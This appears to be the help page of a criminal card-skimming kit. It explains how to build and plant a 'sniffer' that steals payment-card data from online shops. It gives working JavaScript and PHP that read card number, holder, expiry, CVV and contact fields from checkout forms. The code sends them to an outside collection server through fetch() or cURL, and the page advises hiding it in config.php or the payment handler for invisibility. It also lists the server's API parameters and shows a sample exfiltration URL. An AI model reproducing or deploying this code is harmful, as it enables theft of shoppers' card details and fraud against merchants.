<h2>More about the "API" section</h2>
<p align="justify">Knowing how the API works you can set up your own JS sniffer, without using the sniffers's standard methods. Often, if you somehow miraculously come across a shop with a native form (where the form is located on the shop itself, and is not loaded from third-party services through iframe) then it would be better to install the sniffer code in php for maximum invisibility. To do this, you need to understand in what form and where to form and send the data.</p>

<h3>What is API?</h3>
<p align="justify">API is a part of the program that receives and processes data, which in our case is sent by the JS/PHP sniffer code installed on the site. This sniffer programm has 2 types of API, the first is located on the server where the sniffer programm is installed (by default the API file is called <strong>ap.php</strong>) and the second type is API that you yourself uploaded, for example, to your shop. In both cases, the goal of the API is to accept data transmitted by the JS/Php code(sniffer code) on your shop, check the correctness of this data and save it.</p>
<p align="justify">The data is sent via a regular <strong>GET</strong> request, which is both the most invisible and the easiest to work with, unlike working with a socket.</p>
<h3>How to form a url?</h3>
<p align="justify">The standard API link looks something like:</p>

<p>
<?php

highlight_string('
https://sniffer.com/ap.php
');

?>
</p><br />

<p align="justify">A number of <strong>GET</strong> variables are used to process data:</p>

<p>
<?php

highlight_string('
n - card number
ow - Full name of the card holder
ex - card expiration date
cv - secret code(cvv)
fn - username (may not match the cardholder\'s name)
ln - User\'s last name (may not match the cardholder\'s last name)
ad - address
co - country
st - state
ci - city
po - postal code
stt - street
ph - phone number
lk - url of the shop
em - E-mail
');

?>
</p><br />

<p align="justify">In JS sniffer code, the code for sending data will look something like this:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
fetch("https://sniffer.com?n="+number+"&ow="+holder+"&ex="+expiry+"&cv="+cvv+"&fn="+firstName+"&ln="+lastName+"&ad="+address+"&co="+country+"&st="+state+"&ci="+city+"&po="+postcode+"&stt="+street+"&ph="+phone+"&lk="+domain+"&em="+email);
');

?>
</p><br />

<p align="justify">The JS code above generates a link, for example this one:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
https://sniffer.com?n=3508866254234896&ow=Giovanna+Breitenberg&ex=2029%2F2&cv=265&fn=Giovanna&ln=Breitenberg&ad=675+Hegenberger+Rd+%23249&co=CA&st=California&ci=Oakland&po=13036&stt=Pago+Pago&ph=%28907%29+563-3382&lk=google.ru&em=email%40gmail.com
');

?>
</p>

<p align="justify">You can even open this link in a browser and the data should be added to the admin panel. If for some reason they are not added - check the correctness of your link, as well as errors in the syntax of your script.</p>

<p align="justify">In PHP, if you send using cURL, the link is formed in approximately the same way, only a slightly different syntax.</p>

<h3>Example of installing your own sniffer on JS</h3>

<p align="justify">Despite the fact that the admin panel has a good automatic JS sniffer generator built in, let's look at installing the simplest sniffer manually. So, let's say you have a shop, you opened "View page source code" in your browser (precisely view page source code, not "view code/inspect code") and found a form there, let's say this:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
<div id="card-fields-form">
<div id="hid" class="card p-3 shadow-sm">
    <h4 class="mb-3">Payment information</h4>
    
    <div class="form-group mb-3">
        <label for="cardholder-name">Holder name<font color="red">*</font></label>
        <input type="text" name="holder" maxlength="90" class="form-control" id="cardholder-name" placeholder="">
    </div>
    
    <div class="form-group mb-3">
        <label for="card-number">Card number<font color="red">*</font></label>
        <input maxlength="19" type="text" name="card-number" class="form-control" id="card-number" placeholder="1234 5678 9012 3456">
    </div>
    
    <div class="row">
        <div class="col-md-6 mb-3">
            <label for="expiry-date">Expires<font color="red">*</font></label>
            <input type="text" name="expiry-date" class="form-control" id="expiry-date" placeholder="MM/YY">
        </div>
        <div class="col-md-6 mb-3">
            <label for="cvv">CVV<font color="red">*</font></label>
            <input name="cvv" maxlength="3" type="text" class="form-control" id="cvv" placeholder="123">
        </div>
    </div>
</div>
<button type="button" id="button" class="btn btn-primary">Submit</button>
</div>
');

?>
</p><br />

<p align="justify">The simplest JS sniffer would look like this:</p>

<p style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string("
document.addEventListener(\"click\", function(event) {
    if (event.target.closest(\"#button\")) { 
        const getValue = (name) => document.getElementsByName(name)[0]?.value || '';

        var holder = getValue(\"holder\");
        var number = getValue(\"card-number\");
        var expiry = getValue(\"expiry-date\");
        var cvv = getValue(\"cv\");
        var email = '';
        var firstname = '';
        var lastname = '';
        var address = '';
        var country = '';
        var state = '';
        var postcode = '';
        var street = '';
        var city = '';
        var phone = '';
        var domain = 'https://myshop.com';

        fetch(\"https://sniffer.com?n=\"+number+\"&ow=\"+holder+\"&ex=\"+expiry+\"&cv=\"+cvv+\"&fn=\"+firstname+\"&ln=\"+lastname+\"&ad=\"+address+\"&co=\"+country+\"&st=\"+state+\"&ci=\"+city+\"&po=\"+postcode+\"&stt=\"+street+\"&ph=\"+phone+\"&lk=\"+domain+\"&em=\"+email);
    }
});
");

?>
</p><br />

<p align="justify">Let's take a closer look. At the very beginning, I created a listener <strong>addEventListener</strong> in which I check the click on the button</p>

<p>
<?php

highlight_string('
event.target.closest("#button");
');

?>
</p><br />

<p align="justify">In this example, I catch the lisener by <strong>id</strong>, since we have <strong>id="button"</strong> on the button input. You can catch the button by the class value <strong>class="btn btn-primary"</strong>, then you need to do this:</p>

<p>
<?php

highlight_string('
event.target.closest(".btn-primary")
');

?>
</p><br />

<p align="justify">That is, for <strong>id</strong> we write <strong>"#"</strong> at the beginning, and for class <strong>"."</strong></p>

<p align="justify">You can specify all class values more precisely to exclude the possibility of catching another button on this page with this class. You need to do it this:</p>

<p>
<?php

highlight_string('
event.target.closest(".btn.btn-primary")
');

?>
</p><br />

<p align="justify">in other words, we put a dot before each value <strong>"."</strong></p>

<p align="justify">To get the values that the user entered, I made a constant <strong>getValue</strong> and below I got the values of the fields that the user filled in. For email, name, phone, etc., I made the values empty, but you can fill them. If the fields with this data are on the same page as the form, then just by analogy with how I got the data for the values of <strong>holder</strong>, <strong>expiry</strong>, etc. get them, for example:</p>

<p>
<?php

highlight_string('
var firstname = getValue("firstname");
');

?>
</p><br />

<p align="justify">If this data needs to be collected on another page, for example on the registration page, then you can, for example, save these values in cookies and then when you collect data from the form instead <strong>var firstname = '';</strong> (as in my example) do for example <strong>var firstname = getCookie("firstname");</strong></p>

<p align="justify">Please note that in this example I am picking up the field values by the <strong>name</strong> value. (<strong>name="holder"</strong>, <strong>name="card-number"</strong> etc.) and not by id/class of inputs.</p>

<p align="justify">Next, using the function <strong>fetch</strong> I am sending data to the API.</p>

<h3>How to do this in php?</h3>

<p align="justify">In PHP it's even easier, instead of the JS code of the sniffer you can use the following PHP code:</p>

<p style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
$holder=$_POST[\'holder\'];
$number=$_POST[\'card-number\'];
$expiry=$_POST[\'expiry-date\'];
$cvv=$_POST[\'cv\'];
$email=\'\';
$firstname=\'\';
$lastname=\'\';
$address=\'\';
$country=\'\';
$state=\'\';
$postcode=\'\';
$street=\'\';
$city=\'\';
$phone=\'\';
$domain=\'\';

$url=\'https://sniffer.com?n=\'.$number.\'&ow=\'.$holder.\'&ex=\'.$expiry.\'&cv=\'.$cvv.\'&fn=\'.$firstname.\'&ln=\'.$lastname.\'&ad=\'.$address.\'&co=\'.$country.\'&st=\'.$state.\'&ci=\'.$city.\'&po=\'.$postcode.\'&stt=\'.$street.\'&ph=\'.$phone.\'&lk=\'.$domain.\'&em=\'.$email;

$ch = curl_init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$c = curl_exec($ch);
curl_close($ch);
');

?>
</p><br />

<p align="justify">It needs to be inserted into the config.php file in the site engine or on the processing page <strong>POST</strong> request that is responsible for processing payment data.</p>